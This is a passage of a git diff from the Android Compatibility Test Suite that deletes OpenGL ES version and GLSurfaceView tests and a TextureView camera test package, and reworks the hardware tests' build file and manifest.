-    private GLSurfaceView mView;
-
-    /** To override the blank renderer, or other settings, these
-     * static set* methods must be called before onCreate() is called.
-     * If using ActivityInstrumentationTestCase2, that means the set
-     * methods need to be called before calling getActivity in the
-     * test setUp().
-     */
-    private static GLSurfaceView.Renderer mRenderer = null;
-    public static void setRenderer(GLSurfaceView.Renderer renderer) {
-        mRenderer = renderer;
-    }
-    public static void resetRenderer() {
-        mRenderer = null;
-    }
-
-    private static int mRenderMode = 0;
-    private static boolean mRenderModeSet = false;
-    public static void setRenderMode(int renderMode) {
-        mRenderModeSet = true;
-        mRenderMode = renderMode;
-    }
-    public static void resetRenderMode() {
-        mRenderModeSet = false;
-        mRenderMode = 0;
-    }
-
-    private static int mGlVersion = 0;
-    private static boolean mGlVersionSet = false;
-    public static void setGlVersion(int glVersion) {
-        mGlVersionSet = true;
-        mGlVersion = glVersion;
-    }
-    public static void resetGlVersion() {
-        mGlVersionSet = false;
-        mGlVersion = 0;
-    }
-
-    @Override
-    public void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        mView = new GLSurfaceView(this);
-        // Only set this if explicitly asked for
-        if (mGlVersionSet) {
-            mView.setEGLContextClientVersion(mGlVersion);
-        }
-        // Use no-op renderer by default
-        if (mRenderer == null) {
-            mView.setRenderer(new Renderer());
-        } else {
-            mView.setRenderer(mRenderer);
-        }
-        // Only set this if explicitly asked for
-        if (mRenderModeSet) {
-            mView.setRenderMode(mRenderMode);
-        }
-        this.requestWindowFeature(Window.FEATURE_NO_TITLE);
-        setContentView(mView);
-    }
-
-    public GLSurfaceView getView() {
-        return mView;
-    }
-
-    @Override
-    protected void onResume() {
-        super.onResume();
-        mView.onResume();
-    }
-
-    @Override
-    protected void onPause() {
-        super.onPause();
-        mView.onPause();
-    }
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewTest.java b/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewTest.java
deleted file mode 100644
index f603419..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/GLSurfaceViewTest.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-
-import android.opengl.GLSurfaceView;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.util.Log;
-
-/**
- * Tests for the GLSurfaceView class.
- */
-public class GLSurfaceViewTest extends
-        ActivityInstrumentationTestCase2<GLSurfaceViewCtsActivity> {
-
-    private static final int NUM_PAUSE_RESUME_ITERATIONS_WITHOUT_DELAY = 1000;
-
-    private static final int NUM_PAUSE_RESUME_ITERATIONS_WITH_DELAY = 100;
-
-    private static final int PAUSE_RESUME_DELAY = 10;
-
-    private static final boolean LOG_PAUSE_RESUME = false;
-
-    private static final String TAG = "GLSurfaceViewTest";
-
-    private GLSurfaceViewCtsActivity mActivity;
-
-    public GLSurfaceViewTest() {
-        super("android.graphics.cts", GLSurfaceViewCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    /**
-     * Test repeated pausing and resuming of a GLSurfaceView with a delay
-     * between iterations.
-     * <p>
-     * This test simply verifies that the system is able to perform multiple
-     * pause/resume sequences without crashing. The delay is used to allow
-     * asynchronous events to occur in between the pause and resume operations.
-     * </p>
-     *
-     * @throws InterruptedException
-     */
-    @UiThreadTest
-    public void testPauseResumeWithDelay() throws InterruptedException {
-        GLSurfaceView view = mActivity.getView();
-        for (int i = 0; i < NUM_PAUSE_RESUME_ITERATIONS_WITH_DELAY; i++) {
-            Thread.sleep(PAUSE_RESUME_DELAY);
-            if (LOG_PAUSE_RESUME) {
-                Log.w(TAG, "Pause/Resume (w/ delay) step " + i + " - pause");
-            }
-            view.onPause();
-            Thread.sleep(PAUSE_RESUME_DELAY);
-            if (LOG_PAUSE_RESUME) {
-                Log.w(TAG, "Pause/Resume (w/ delay) step " + i + " - resume");
-            }
-            view.onResume();
-        }
-    }
-
-    /**
-     * Test repeated pausing and resuming of a GLSurfaceView.
-     * <p>
-     * This test simply verifies that the system is able to perform multiple
-     * pause/resume sequences without crashing. No delay is used so that a
-     * larger number of iterations can be done in a short amount of time.
-     * </p>
-     */
-    @UiThreadTest
-    public void testPauseResumeWithoutDelay() {
-        GLSurfaceView view = mActivity.getView();
-        for (int i = 0; i < NUM_PAUSE_RESUME_ITERATIONS_WITHOUT_DELAY; i++) {
-            if (LOG_PAUSE_RESUME) {
-                Log.w(TAG, "Pause/Resume (no delay) step " + i + " - pause");
-            }
-            view.onPause();
-            if (LOG_PAUSE_RESUME) {
-                Log.w(TAG, "Pause/Resume (no delay) step " + i + " - resume");
-            }
-            view.onResume();
-        }
-    }
-}
diff --git a/tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionTest.java b/tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionTest.java
deleted file mode 100644
index 5a76816..0000000
--- a/tests/tests/graphics/src/android/opengl/cts/OpenGlEsVersionTest.java
+++ /dev/null
@@ -1,324 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.opengl.cts;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.ConfigurationInfo;
-import android.content.pm.FeatureInfo;
-import android.content.pm.PackageManager;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-import javax.microedition.khronos.egl.EGL10;
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.egl.EGLContext;
-import javax.microedition.khronos.egl.EGLDisplay;
-
-/**
- * Test for checking whether the ro.opengles.version property is set to the correct value.
- */
-public class OpenGlEsVersionTest
-        extends ActivityInstrumentationTestCase2<OpenGlEsVersionCtsActivity> {
-
-    private static final String TAG = OpenGlEsVersionTest.class.getSimpleName();
-
-    // TODO: switch to android.opengl.EGL14/EGLExt and use the constants from there
-    private static final int EGL_OPENGL_ES_BIT = 0x0001;
-    private static final int EGL_OPENGL_ES2_BIT = 0x0004;
-    private static final int EGL_OPENGL_ES3_BIT_KHR = 0x0040;
-
-    private OpenGlEsVersionCtsActivity mActivity;
-
-    public OpenGlEsVersionTest() {
-        super("android.graphics.cts", OpenGlEsVersionCtsActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-    }
-
-    public void testOpenGlEsVersion() throws InterruptedException {
-        int detectedMajorVersion = getDetectedMajorVersion();
-        int reportedVersion = getVersionFromActivityManager(mActivity);
-
-        assertEquals("Reported OpenGL ES version from ActivityManager differs from PackageManager",
-                reportedVersion, getVersionFromPackageManager(mActivity));
-
-        assertGlVersionString(1, 1);
-        if (detectedMajorVersion == 2) {
-            restartActivityWithClientVersion(2);
-            assertGlVersionString(2, getMinorVersion(reportedVersion));
-        } else if (detectedMajorVersion == 3) {
-            restartActivityWithClientVersion(3);
-            assertGlVersionString(3, getMinorVersion(reportedVersion));
-        }
-    }
-
-    public void testRequiredExtensions() throws InterruptedException {
-        int reportedVersion = getVersionFromActivityManager(mActivity);
-        // We only have required extensions on ES3.1+
-        if (getMajorVersion(reportedVersion) != 3 || getMinorVersion(reportedVersion) < 1)
-            return;
-
-        restartActivityWithClientVersion(3);
-
-        String extensions = mActivity.getExtensionsString();
-        final String requiredList[] = {
-            "EXT_texture_sRGB_decode",
-            "KHR_blend_equation_advanced",
-            "KHR_debug",
-            "OES_shader_image_atomic",
-            "OES_texture_stencil8",
-            "OES_texture_storage_multisample_2d_array"
-        };
-
-        for (int i = 0; i < requiredList.length; ++i) {
-            assertTrue("OpenGL ES version 3.1+ is missing extension " + requiredList[i],
-                    hasExtension(extensions, requiredList[i]));
-        }
-    }
-
-    public void testExtensionPack() throws InterruptedException {
-        // Requirements:
-        // 1. If the device claims support for the system feature, the extension must be available.
-        // 2. If the extension is available, the device must claim support for it.
-        // 3. If the extension is available, it must be correct:
-        //    - ES 3.1+ must be supported
-        //    - All included extensions must be available
-
-        int reportedVersion = getVersionFromActivityManager(mActivity);
-        boolean hasAepFeature = mActivity.getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_OPENGLES_EXTENSION_PACK);
-
-        if (getMajorVersion(reportedVersion) != 3 || getMinorVersion(reportedVersion) < 1) {
-            assertFalse("FEATURE_OPENGLES_EXTENSION_PACK is available without OpenGL ES 3.1+",
-                    hasAepFeature);
-            return;
-        }
-
-        restartActivityWithClientVersion(3);
-
-        String extensions = mActivity.getExtensionsString();
-        boolean hasAepExtension = hasExtension(extensions, "GL_ANDROID_extension_pack_es31a");
-        assertEquals("System feature FEATURE_OPENGLES_EXTENSION_PACK is "
-            + (hasAepFeature ? "" : "not ") + "available, but extension GL_ANDROID_extension_pack_es31a is "
-            + (hasAepExtension ? "" : "not ") + "in the OpenGL ES extension list.",
-            hasAepFeature, hasAepExtension);
-    }
-
-    public void testOpenGlEsVersionForVrHighPerformance() throws InterruptedException {
-        if (!supportsVrHighPerformance())
-            return;
-        restartActivityWithClientVersion(3);
-
-        int reportedVersion = getVersionFromActivityManager(mActivity);
-        int major = getMajorVersion(reportedVersion);
-        int minor = getMinorVersion(reportedVersion);
-
-        assertTrue("OpenGL ES version 3.2 or higher is required for VR high-performance devices " +
-            " but this device supports only version " + major + "." + minor,
-            (major == 3 && minor >= 2) || major > 3);
-    }
-
-    public void testRequiredExtensionsForVrHighPerformance() throws InterruptedException {
-        if (!supportsVrHighPerformance())
-            return;
-        restartActivityWithClientVersion(3);
-
-        String extensions = mActivity.getExtensionsString();
-        final String requiredList[] = {
-            "EXT_protected_textures",
-            "EXT_multisampled_render_to_texture",
-            "OVR_multiview",
-            "OVR_multiview_multisampled_render_to_texture",
-            "OVR_multiview2",
-        };
-
-        for (int i = 0; i < requiredList.length; ++i) {
-            assertTrue("Required extension for VR high-performance is missing: " + requiredList[i],
-                    hasExtension(extensions, requiredList[i]));
-        }
-
-        EGL10 egl = (EGL10) EGLContext.getEGL();
-        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        extensions = egl.eglQueryString(display, EGL10.EGL_EXTENSIONS);
-        final String requiredEglList[] = {
-            "EGL_ANDROID_create_native_client_buffer",
-            "EGL_ANDROID_front_buffer_auto_refresh",
-            "EGL_EXT_protected_content",
-            "EGL_KHR_mutable_render_buffer",
-            "EGL_KHR_wait_sync",
-        };
-
-        for (int i = 0; i < requiredList.length; ++i) {
-            assertTrue("Required EGL extension for VR high-performance is missing: " +
-                requiredEglList[i], hasExtension(extensions, requiredEglList[i]));
-        }
-    }
-
-    private static boolean hasExtension(String extensions, String name) {
-        return OpenGlEsVersionCtsActivity.hasExtension(extensions, name);
-    }
-
-    /** @return OpenGL ES major version 1, 2, or 3 or some non-positive number for error */
-    private static int getDetectedMajorVersion() {
-        /*
-         * Get all the device configurations and check the EGL_RENDERABLE_TYPE attribute
-         * to determine the highest ES version supported by any config. The
-         * EGL_KHR_create_context extension is required to check for ES3 support; if the
-         * extension is not present this test will fail to detect ES3 support. This
-         * effectively makes the extension mandatory for ES3-capable devices.
-         */
-
-        EGL10 egl = (EGL10) EGLContext.getEGL();
-        EGLDisplay display = egl.eglGetDisplay(EGL10.EGL_DEFAULT_DISPLAY);
-        int[] numConfigs = new int[1];
-
-        if (egl.eglInitialize(display, null)) {
-            try {
-                boolean checkES3 = hasExtension(egl.eglQueryString(display, EGL10.EGL_EXTENSIONS),
-                        "EGL_KHR_create_context");
-                if (egl.eglGetConfigs(display, null, 0, numConfigs)) {
-                    EGLConfig[] configs = new EGLConfig[numConfigs[0]];
-                    if (egl.eglGetConfigs(display, configs, numConfigs[0], numConfigs)) {
-                        int highestEsVersion = 0;
-                        int[] value = new int[1];
-                        for (int i = 0; i < numConfigs[0]; i++) {
-                            if (egl.eglGetConfigAttrib(display, configs[i],
-                                    EGL10.EGL_RENDERABLE_TYPE, value)) {
-                                if (checkES3 && ((value[0] & EGL_OPENGL_ES3_BIT_KHR) ==
-                                        EGL_OPENGL_ES3_BIT_KHR)) {
-                                    if (highestEsVersion < 3) highestEsVersion = 3;
-                                } else if ((value[0] & EGL_OPENGL_ES2_BIT) == EGL_OPENGL_ES2_BIT) {
-                                    if (highestEsVersion < 2) highestEsVersion = 2;
-                                } else if ((value[0] & EGL_OPENGL_ES_BIT) == EGL_OPENGL_ES_BIT) {
-                                    if (highestEsVersion < 1) highestEsVersion = 1;
-                                }
-                            } else {
-                                Log.w(TAG, "Getting config attribute with "
-                                        + "EGL10#eglGetConfigAttrib failed "
-                                        + "(" + i + "/" + numConfigs[0] + "): "
-                                        + egl.eglGetError());
-                            }
-                        }
-                        return highestEsVersion;
-                    } else {
-                        Log.e(TAG, "Getting configs with EGL10#eglGetConfigs failed: "
-                                + egl.eglGetError());
-                        return -1;
-                    }
-                } else {
-                    Log.e(TAG, "Getting number of configs with EGL10#eglGetConfigs failed: "
-                            + egl.eglGetError());
-                    return -2;
-                }
-              } finally {
-                  egl.eglTerminate(display);
-              }
-        } else {
-            Log.e(TAG, "Couldn't initialize EGL.");
-            return -3;
-        }
-    }
-
-    private static int getVersionFromActivityManager(Context context) {
-        ActivityManager activityManager =
-            (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
-        ConfigurationInfo configInfo = activityManager.getDeviceConfigurationInfo();
-        if (configInfo.reqGlEsVersion != ConfigurationInfo.GL_ES_VERSION_UNDEFINED) {
-            return configInfo.reqGlEsVersion;
-        } else {
-            return 1 << 16; // Lack of property means OpenGL ES version 1
-        }
-    }
-
-    private static int getVersionFromPackageManager(Context context) {
-        PackageManager packageManager = context.getPackageManager();
-        FeatureInfo[] featureInfos = packageManager.getSystemAvailableFeatures();
-        if (featureInfos != null && featureInfos.length > 0) {
-            for (FeatureInfo featureInfo : featureInfos) {
-                // Null feature name means this feature is the open gl es version feature.
-                if (featureInfo.name == null) {
-                    if (featureInfo.reqGlEsVersion != FeatureInfo.GL_ES_VERSION_UNDEFINED) {
-                        return featureInfo.reqGlEsVersion;
-                    } else {
-                        return 1 << 16; // Lack of property means OpenGL ES version 1
-                    }
-                }
-            }
-        }
-        return 1;
-    }
-
-    /** @see FeatureInfo#getGlEsVersion() */
-    private static int getMajorVersion(int glEsVersion) {
-        return ((glEsVersion & 0xffff0000) >> 16);
-    }
-
-    /** @see FeatureInfo#getGlEsVersion() */
-    private static int getMinorVersion(int glEsVersion) {
-        return glEsVersion & 0xffff;
-    }
-
-    /**
-     * Check that the version string has the form "OpenGL ES(-CM)? (\d+)\.(\d+)", where the two
-     * numbers match the major and minor parameters.
-     */
-    private void assertGlVersionString(int major, int minor) throws InterruptedException {
-        Matcher matcher = Pattern.compile("OpenGL ES(?:-CM)? (\\d+)\\.(\\d+).*")
-                                 .matcher(mActivity.getVersionString());
-        assertTrue("OpenGL ES version string is not of the required form "
-            + "'OpenGL ES(-CM)? (\\d+)\\.(\\d+).*'",
-            matcher.matches());
-        int stringMajor = Integer.parseInt(matcher.group(1));
-        int stringMinor = Integer.parseInt(matcher.group(2));
-        assertEquals("GL_VERSION string doesn't match ActivityManager major version (check ro.opengles.version property)",
-            major, stringMajor);
-        assertEquals("GL_VERSION string doesn't match ActivityManager minor version (check ro.opengles.version property)",
-            minor, stringMinor);
-    }
-
-    /** Restart {@link GLSurfaceViewCtsActivity} with a specific client version. */
-    private void restartActivityWithClientVersion(int version) {
-        mActivity.finish();
-        setActivity(null);
-
-        try {
-            Intent intent = OpenGlEsVersionCtsActivity.createIntent(version);
-            setActivityIntent(intent);
-            mActivity = getActivity();
-        } finally {
-            setActivityIntent(null);
-        }
-    }
-
-    /**
-     * Return whether the system supports FEATURE_VR_MODE and
-     * FEATURE_VR_MODE_HIGH_PERFORMANCE. This is used to skip some tests.
-     */
-    private boolean supportsVrHighPerformance() {
-        PackageManager pm = mActivity.getPackageManager();
-        return pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
-    }
-}
diff --git a/tests/tests/graphics2/Android.mk b/tests/tests/graphics2/Android.mk
deleted file mode 100644
index decc482..0000000
--- a/tests/tests/graphics2/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsGraphics2TestCases
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-LOCAL_INSTRUMENTATION_FOR :=
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/tests/tests/graphics2/AndroidManifest.xml b/tests/tests/graphics2/AndroidManifest.xml
deleted file mode 100644
index be7a985..0000000
--- a/tests/tests/graphics2/AndroidManifest.xml
+++ /dev/null
@@ -1,42 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2012 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.graphics2.cts"
-    android:versionCode="1"
-    android:versionName="1.0" >
-
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-feature android:name="android.hardware.camera" />
-
-    <instrumentation
-        android:targetPackage="android.graphics2.cts"
-        android:name="android.support.test.runner.AndroidJUnitRunner" >
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-        <activity android:name="android.graphics2.cts.TextureViewCameraActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-    </application>
-
-</manifest>
diff --git a/tests/tests/graphics2/AndroidTest.xml b/tests/tests/graphics2/AndroidTest.xml
deleted file mode 100644
index 2f9961b..0000000
--- a/tests/tests/graphics2/AndroidTest.xml
+++ /dev/null
@@ -1,24 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2015 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<configuration description="Config for CTS Graphics test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
-        <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsGraphics2TestCases.apk" />
-    </target_preparer>
-    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
-        <option name="package" value="android.graphics2.cts" />
-    </test>
-</configuration>
\ No newline at end of file
diff --git a/tests/tests/graphics2/src/android/graphics2/cts/TextureViewCameraActivity.java b/tests/tests/graphics2/src/android/graphics2/cts/TextureViewCameraActivity.java
deleted file mode 100644
index 647fc30..0000000
--- a/tests/tests/graphics2/src/android/graphics2/cts/TextureViewCameraActivity.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics2.cts;
-
-import android.app.Activity;
-import android.content.pm.PackageManager;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Matrix;
-import android.graphics.SurfaceTexture;
-import android.hardware.Camera;
-import android.os.Bundle;
-import android.view.TextureView;
-import android.view.View;
-
-import java.io.IOException;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-import junit.framework.Assert;
-
-
-public class TextureViewCameraActivity extends Activity implements
-        TextureView.SurfaceTextureListener {
-    private static final int CAPTURE_SCREEN_INTERVAL = 10;
-    private static final float SCREEN_ROTATION_RATE = 1.0f;
-    private static final int MAX_FRAME_UPDATE = 40;
-    private Camera mCamera;
-    private TextureView mTextureView;
-    private int mUpdateCounter = 0;
-    private int mWidth;
-    private int mHeight;
-    private float mRotation = 0f;
-    private final CountDownLatch mLatch = new CountDownLatch(1);
-
-    public void onSurfaceTextureAvailable(SurfaceTexture surface, int width, int height) {
-        Assert.assertTrue(mTextureView.getLayerType() == View.LAYER_TYPE_HARDWARE);
-        Assert.assertTrue(mTextureView.isAvailable());
-        Assert.assertNotNull(mTextureView.getSurfaceTexture());
-        Assert.assertTrue(mTextureView.getSurfaceTextureListener() == this);
-        Assert.assertTrue(mTextureView.isOpaque());
-        mWidth = width;
-        mHeight = height;
-        if (Camera.getNumberOfCameras() > 0) {
-            mCamera = Camera.open(0);
-        } else {
-            // no camera, and no frame update, so just complete here.
-            mLatch.countDown();
-            return;
-        }
-
-        try {
-            mCamera.setPreviewTexture(surface);
-            mCamera.startPreview();
-        } catch (IOException ioe) {
-            // Something bad happened
-            Assert.fail();
-        }
-    }
-
-    public void onSurfaceTextureSizeChanged(SurfaceTexture surface, int width, int height) {
-        mWidth = width;
-        mHeight = height;
-    }
-
-    public boolean onSurfaceTextureDestroyed(SurfaceTexture surface) {
-        if (mCamera != null) {
-            mCamera.stopPreview();
-            mCamera.release();
-        }
-        return true;
-    }
-
-    public void onSurfaceTextureUpdated(SurfaceTexture surface) {
-        mUpdateCounter++;
-        if (mUpdateCounter % CAPTURE_SCREEN_INTERVAL == 0) {
-            Bitmap bitmap = mTextureView.getBitmap();
-            Assert.assertEquals(mHeight, bitmap.getHeight());
-            Assert.assertEquals(mWidth, bitmap.getWidth());
-            bitmap.recycle();
-            if (mUpdateCounter >= MAX_FRAME_UPDATE) {
-                mLatch.countDown();
-            }
-        }
-        Matrix transformMatrix =  mTextureView.getTransform(null);
-        mRotation += SCREEN_ROTATION_RATE;
-        transformMatrix.setRotate(mRotation, mWidth/2, mHeight/2);
-        mTextureView.setTransform(transformMatrix);
-    }
-
-    public boolean waitForCompletion(long timeoutInSecs) throws InterruptedException {
-        return mLatch.await(timeoutInSecs, TimeUnit.SECONDS);
-    }
-
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        mTextureView = new TextureView(this);
-        mTextureView.setSurfaceTextureListener(this);
-        mTextureView.setOpaque(true);
-        setContentView(mTextureView);
-    }
-}
diff --git a/tests/tests/graphics2/src/android/graphics2/cts/TextureViewTest.java b/tests/tests/graphics2/src/android/graphics2/cts/TextureViewTest.java
deleted file mode 100644
index c84919a..0000000
--- a/tests/tests/graphics2/src/android/graphics2/cts/TextureViewTest.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics2.cts;
-
-import android.graphics2.cts.TextureViewCameraActivity;
-import android.hardware.Camera;
-import android.test.ActivityInstrumentationTestCase2;
-
-
-public class TextureViewTest extends ActivityInstrumentationTestCase2<TextureViewCameraActivity> {
-    private static final long WAIT_TIMEOUT_IN_SECS = 10;
-    private TextureViewCameraActivity mActivity;
-    public TextureViewTest() {
-        super(TextureViewCameraActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        if (Camera.getNumberOfCameras() < 1) {
-            return;
-        }
-        mActivity = getActivity();
-    }
-
-    public void testTextureViewActivity() throws InterruptedException {
-        if (Camera.getNumberOfCameras() < 1) {
-            return;
-        }
-        assertTrue(mActivity.waitForCompletion(WAIT_TIMEOUT_IN_SECS));
-    }
-
-}
-
diff --git a/tests/tests/hardware/Android.mk b/tests/tests/hardware/Android.mk
index 69dbe2e..957c012 100644
--- a/tests/tests/hardware/Android.mk
+++ b/tests/tests/hardware/Android.mk
@@ -1,4 +1,4 @@
-# Copyright (C) 2008 The Android Open Source Project
+# Copyright (C) 2017 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -14,60 +14,35 @@
 
 LOCAL_PATH:= $(call my-dir)
 
-# Reusable Sensor test classes and helpers
-
 include $(CLEAR_VARS)
 
-LOCAL_MODULE := cts-sensors-tests
-
+# don't include this package in any target
 LOCAL_MODULE_TAGS := tests
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil
-
-LOCAL_JAVA_LIBRARIES := platform-test-annotations
-
-LOCAL_SDK_VERSION := current
-
-# TODO: sensors need to be refactored out into their own namespace: android.hardware.sensors.cts
-LOCAL_SRC_FILES := $(call all-java-files-under, src/android/hardware/cts/helpers)
-LOCAL_SRC_FILES += \
-    src/android/hardware/cts/SensorTestCase.java \
-    src/android/hardware/cts/SingleSensorTests.java \
-    src/android/hardware/cts/SensorIntegrationTests.java \
-    src/android/hardware/cts/SensorBatchingTests.java \
-    src/android/hardware/cts/SensorTest.java \
-    src/android/hardware/cts/SensorManagerStaticTest.java \
-    src/android/hardware/cts/SensorAdditionalInfoTest.java
-
-include $(BUILD_STATIC_JAVA_LIBRARY)
-
-
-# CtsHardwareTestCases package
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
+# and when built explicitly put it in the data partition
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctsdeviceutil \
-    compatibility-device-util \
-    ctstestrunner \
-    mockito-target \
-    android-ex-camera2
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-renderscript-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsHardwareTestCases
-
-LOCAL_SDK_VERSION := current
+LOCAL_MULTILIB := both
 
 LOCAL_JAVA_LIBRARIES := android.test.runner
 
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-test \
+    compatibility-device-util \
+    ctstestrunner \
+    mockito-target-minus-junit4 \
+    platform-test-annotations \
+    ub-uiautomator \
+    legacy-android-test
+
+LOCAL_JNI_SHARED_LIBRARIES := libctshardware_jni libnativehelper_compat_libc++
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsHardwareTestCases
+
 include $(BUILD_CTS_PACKAGE)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/tests/tests/hardware/AndroidManifest.xml b/tests/tests/hardware/AndroidManifest.xml
index 1e4cedf..7a98a2a 100644
--- a/tests/tests/hardware/AndroidManifest.xml
+++ b/tests/tests/hardware/AndroidManifest.xml
@@ -23,7 +23,6 @@
     <uses-permission android:name="android.permission.RECORD_AUDIO" />
     <uses-permission android:name="android.permission.WAKE_LOCK" />
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.BODY_SENSORS" />
